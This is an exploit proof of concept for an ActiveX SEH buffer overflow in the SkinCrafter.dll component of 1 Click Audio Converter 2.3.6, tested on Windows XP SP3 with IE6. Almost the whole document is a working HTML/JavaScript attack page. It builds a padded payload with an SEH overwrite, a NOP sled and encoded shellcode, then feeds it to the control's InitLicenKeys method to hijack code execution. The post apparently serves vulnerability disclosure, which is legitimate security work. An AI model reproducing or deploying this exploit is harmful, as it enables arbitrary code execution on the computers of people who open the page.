1 Click Audio Converter 2.3.6 – Activex Local Buffer Overflow
<html> <br>1 Click Audio Converter Activex Buffer Overflow</br> <br>Affected version=2.3.6</br> <br>Vendor Homepage:http://www.dvdvideotool.com/index.htm</br> <br>Software Link:www.dvdvideotool.com/1ClickAudioConverter.exe</br> <br>The vulnerability lies in the COM component used by the product SkinCrafter.dll </br> <br>SkinCrafter.dll version.1.9.2.0</br> <br>Vulnerability tested on Windows Xp Sp3 (EN),with IE6</br> <br>Author: metacom</br> <!--Video Poc: http://bit.ly/1GmOAyq --> <object classid='clsid:125C3F0B-1073-4783-9A7B-D33E54269CA5' id='target' ></object> <script > junk1 = ""; while(junk1.length < 2048) junk1+="A"; nseh = "\xeb\x06\x90\x90"; seh = "\xD7\x51\x04\x10"; nops= ""; while(nops.length < 50) nops+="\x90"; shellcode =( "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"+ "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"+ "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"+ "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"+ "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"+ "\x42\x30\x42\x50\x42\x30\x4b\x48\x45\x54\x4e\x43\x4b\x38\x4e\x47"+ "\x45\x50\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x54\x4a\x41\x4b\x38"+ "\x4f\x45\x42\x42\x41\x50\x4b\x4e\x49\x44\x4b\x38\x46\x33\x4b\x48"+ "\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c"+ "\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"+ "\x46\x4f\x4b\x53\x46\x55\x46\x32\x46\x50\x45\x47\x45\x4e\x4b\x58"+ "\x4f\x45\x46\x52\x41\x50\x4b\x4e\x48\x56\x4b\x58\x4e\x50\x4b\x44"+ "\x4b\x48\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x38"+ "\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33"+ "\x42\x4c\x46\x46\x4b\x38\x42\x44\x42\x53\x45\x38\x42\x4c\x4a\x47"+ "\x4e\x30\x4b\x48\x42\x44\x4e\x50\x4b\x58\x42\x37\x4e\x51\x4d\x4a"+ "\x4b\x48\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x38\x42\x58\x42\x4b"+ "\x42\x50\x42\x50\x42\x50\x4b\x38\x4a\x36\x4e\x43\x4f\x45\x41\x53"+ "\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x57"+ "\x42\x45\x4a\x36\x42\x4f\x4c\x38\x46\x30\x4f\x35\x4a\x46\x4a\x39"+ "\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x46\x41\x46"+ "\x4e\x46\x43\x36\x42\x50\x5a"); junk2 = ""; while(junk2.length < 2048) junk2+="B"; payload = junk1 + nseh + seh + nops+ shellcode + junk2; arg1=payload; arg1=arg1; arg2="defaultV"; arg3="defaultV"; arg4="defaultV"; arg5="defaultV"; target.InitLicenKeys(arg1 ,arg2 ,arg3 ,arg4 ,arg5 ); </script> </html> |